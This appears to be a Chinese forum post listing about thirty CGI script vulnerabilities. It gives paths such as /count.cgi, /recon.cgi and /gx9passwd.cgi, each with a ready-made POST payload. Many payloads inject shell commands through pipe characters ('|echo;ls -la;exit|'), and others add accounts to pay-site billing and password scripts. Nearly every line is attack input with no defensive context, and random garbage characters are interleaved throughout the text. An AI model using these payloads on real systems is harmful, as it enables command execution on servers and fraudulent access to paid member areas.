Cgi-bin 30个漏洞＋使用方法

admin

==============================

  ^1 X) v2 Z7 A$ D/smspass.pl
3 \3 X( H+ a+ w- busername=username&password=password
/ n* N. t$ s, j; r2 t2 `0 m
+ `% c9 p0 ~9 A, z9 N/index.cgi
- y1 Y0 D" X  t# y& K: Jwei=ren&gen=command
' S" f6 l- A8 X2 B
' f6 G5 D& A$ M! V& x% |6 H/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
+ z) m% k5 X+ f3 W% K3 e1 {name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/ c/ J! \, j* U& E1 b1 _
/addusr.pl
( G6 o0 N) B  T) n/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
0 {7 |9 B$ P$ v$ g) {) o8 H
/ccbill-local.asp
  K- a7 h; V, M9 s3 v+ C7 w8 Zpost_values=username:password
; x9 r% V/ N, x' C) F, d% ?3 q, |- T' W
/count.cgi
. ^5 R' K% T* c) B3 @' K# Tpinfile=|echo;ls -la;exit|

/recon.cgi
  ]! ~6 P6 e' q/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
  L% C8 e4 x# \7 G, d8 F
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
2 N% {7 c' \. Q) W* F' _
( a, k  S3 V2 o+ O# \$ S5 k/af.cgi
_browser_out=|echo;ls -la;exit;|

: d: O  V0 U. S# u' S# f/ R/modify.cgi
username=username&password=password&expire=30
, u" P0 Q4 {+ |, [! f$ ?! ~+ b' p
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
: x! ~% C) t8 ]& Kcmd=ADD&user=username&pass=password
7 [% e  k/ k& Y9 ^  S9 t
3 n1 B! J* h" \8 @' P- C4 ]! y/probecontrol.cgi
0 ^: U4 S% Q4 Bcommand=enable&username=username&password=password
" U5 K# X' l% N/ h/ Z
3 v1 E: j) }+ @" T3 u7 J. a: t/recon.cgi
. y( \3 c1 n. I7 y7 H/ S, \searchoption=3&searchfor=echo;ls -la;exit
) d4 I1 q& n2 V" j7 q
/htadd.pl
configfile=|echo; ls -alt; exit

! i) Q" Q  F; e1 H: B, A  O/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
% m$ q8 w# n/ Y) M; k
/cpay.cgi
$ S8 }, ?6 n- r$ w$ j7 Wcommand=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
, L' n* F1 ?6 l! zdo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS
" {5 {' _' H2 B, s$ Y
9 {+ K# w( |4 S8 S7 m; C" E/globoSALErum.cgi
) ~  M# t8 r# [" B; |action=ADD&seccode=seccode&login=username&password=password
6 z7 B& e0 a) q  W+ n  W
/addusr.pl
user=USER&pass=PASS&confirm=PASS
% ^9 |) m1 s1 {! _
3 Y: B$ l4 U+ f/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
& ]4 }! `: c  ~: @! L5 i4 _pinfile=|echo;pwd;exit|
5 z7 D( h$ q% P! z
/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
5 ^2 N3 j0 x; f6 b1 @0 W$ cusername=username&password=password&password2=password&ref1=|echo;ls -al;exit
* T. q  A' V( A5 ~) T
/af.cgi
/env.cgi
5 T% B- ?' q" T# T  g! IADD+;echo;pwd;exit
. K, ]" {6 m. R& d% {; L8 \
: Q+ i& @3 Q& G- E# d, b: h/count.cgi
% P4 B, Y; [% `3 ^pinfile=|echo;pwd;exit|

/recon.cgi
& y5 K* I' U- Osearchoption=1&searchfor=|echo;ls%20-al;exit|

* d; h% I5 Y" C5 t) N6 [2 ?/add.cgi
username=username&password=password&expire=30
; [5 ]6 I# v( ^) d6 y9 }
! ?' t6 z# O5 X0 j7 s* h==============================